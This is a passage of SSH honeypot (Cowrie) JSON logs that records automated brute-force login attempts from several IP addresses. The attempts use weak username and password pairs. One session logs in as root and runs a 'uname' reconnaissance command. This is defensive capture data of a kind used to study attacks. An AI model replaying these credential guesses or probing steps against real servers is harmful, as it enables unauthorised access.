16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:05:57.098131Z","src_ip":"2.57.122.210","session":"5de8a0ba3158","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:05:57.507972Z","src_ip":"2.57.122.210","session":"5de8a0ba3158","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:05:58.627944Z","src_ip":"2.57.122.210","session":"5de8a0ba3158","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":40218,"dst_ip":"10.17.0.5","dst_port":22,"session":"119bced1145d","protocol":"ssh","message":"New connection: 2.57.122.208:40218 (10.17.0.5:22) [session: 119bced1145d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:07:09.769489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:07:09.810964Z","src_ip":"2.57.122.208","session":"119bced1145d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:07:09.919037Z","src_ip":"2.57.122.208","session":"119bced1145d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:07:10.451284Z","src_ip":"2.57.122.208","session":"119bced1145d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:07:11.572734Z","src_ip":"2.57.122.208","session":"119bced1145d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":57058,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0be7fd9ed3d","protocol":"ssh","message":"New connection: 13.71.92.229:57058 (10.17.0.5:22) [session: f0be7fd9ed3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:07:29.814425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:07:29.818762Z","src_ip":"13.71.92.229","session":"f0be7fd9ed3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:07:30.025143Z","src_ip":"13.71.92.229","session":"f0be7fd9ed3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yuhan","password":"123","message":"login attempt [yuhan/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:07:30.899477Z","src_ip":"13.71.92.229","session":"f0be7fd9ed3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:07:32.114640Z","src_ip":"13.71.92.229","session":"f0be7fd9ed3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"140.245.108.163","src_port":53648,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd96598db2d8","protocol":"ssh","message":"New connection: 140.245.108.163:53648 (10.17.0.5:22) [session: fd96598db2d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:08:02.515092Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:08:02.754706Z","src_ip":"140.245.108.163","session":"fd96598db2d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":47656,"dst_ip":"159.203.135.109","dst_port":22,"session":"134e4491faa0","protocol":"ssh","message":"New connection: 2.57.122.210:47656 (159.203.135.109:22) [session: 134e4491faa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:08:09.914421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:08:09.918893Z","src_ip":"2.57.122.210","session":"134e4491faa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:08:10.024755Z","src_ip":"2.57.122.210","session":"134e4491faa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.176.57.198","src_port":53136,"dst_ip":"10.17.0.5","dst_port":22,"session":"710bcb1dd275","protocol":"ssh","message":"New connection: 116.176.57.198:53136 (10.17.0.5:22) [session: 710bcb1dd275]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:08:10.138025Z"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345","message":"login attempt [sol/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:08:10.340519Z","src_ip":"2.57.122.210","session":"134e4491faa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:08:10.718572Z","src_ip":"116.176.57.198","session":"710bcb1dd275","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.176.57.198","src_port":53144,"dst_ip":"10.17.0.5","dst_port":22,"session":"322a754f97c7","protocol":"ssh","message":"New connection: 116.176.57.198:53144 (10.17.0.5:22) [session: 322a754f97c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:08:11.305386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:08:11.309966Z","src_ip":"116.176.57.198","session":"322a754f97c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:08:11.451721Z","src_ip":"2.57.122.210","session":"134e4491faa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:08:11.873993Z","src_ip":"116.176.57.198","session":"322a754f97c7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"------fuck------","message":"login attempt [root/------fuck------] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:08:13.667850Z","src_ip":"116.176.57.198","session":"322a754f97c7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:08:14.874614Z","src_ip":"116.176.57.198","session":"322a754f97c7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -m","message":"CMD: uname -s -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:08:14.877914Z","src_ip":"116.176.57.198","session":"322a754f97c7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/6fa4c8ac58e7a1d947dc3250c39d1e27958f012e68061d8de0a7b70e3a65b906","size":13,"shasum":"6fa4c8ac58e7a1d947dc3250c39d1e27958f012e68061d8de0a7b70e3a65b906","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/6fa4c8ac58e7a1d947dc3250c39d1e27958f012e68061d8de0a7b70e3a65b906 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:08:15.382047Z","src_ip":"116.176.57.198","session":"322a754f97c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:08:15.386623Z","src_ip":"116.176.57.198","session":"322a754f97c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":54490,"dst_ip":"10.17.0.5","dst_port":22,"session":"c351087c293e","protocol":"ssh","message":"New connection: 2.57.122.208:54490 (10.17.0.5:22) [session: c351087c293e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:09:27.704742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:09:27.719918Z","src_ip":"2.57.122.208","session":"c351087c293e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:09:27.813163Z","src_ip":"2.57.122.208","session":"c351087c293e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"trader","message":"login attempt [trader/trader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:09:28.506799Z","src_ip":"2.57.122.208","session":"c351087c293e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:09:29.683026Z","src_ip":"2.57.122.208","session":"c351087c293e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":36560,"dst_ip":"10.17.0.5","dst_port":22,"session":"d159c4a366a7","protocol":"ssh","message":"New connection: 13.71.92.229:36560 (10.17.0.5:22) [session: d159c4a366a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:09:42.949083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:09:42.952907Z","src_ip":"13.71.92.229","session":"d159c4a366a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:09:43.163407Z","src_ip":"13.71.92.229","session":"d159c4a366a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student10","password":"1234","message":"login attempt [student10/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:09:44.041918Z","src_ip":"13.71.92.229","session":"d159c4a366a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:09:45.261068Z","src_ip":"13.71.92.229","session":"d159c4a366a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":50344,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5e949099eed","protocol":"ssh","message":"New connection: 2.57.122.210:50344 (159.203.135.109:22) [session: f5e949099eed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:10:26.263656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:10:26.267900Z","src_ip":"2.57.122.210","session":"f5e949099eed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:10:26.371118Z","src_ip":"2.57.122.210","session":"f5e949099eed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1","message":"login attempt [sol/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:10:26.681793Z","src_ip":"2.57.122.210","session":"f5e949099eed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:10:27.789953Z","src_ip":"2.57.122.210","session":"f5e949099eed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":32874,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8661b59728f","protocol":"ssh","message":"New connection: 2.57.122.208:32874 (10.17.0.5:22) [session: b8661b59728f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:11:44.652531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:11:44.660281Z","src_ip":"2.57.122.208","session":"b8661b59728f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-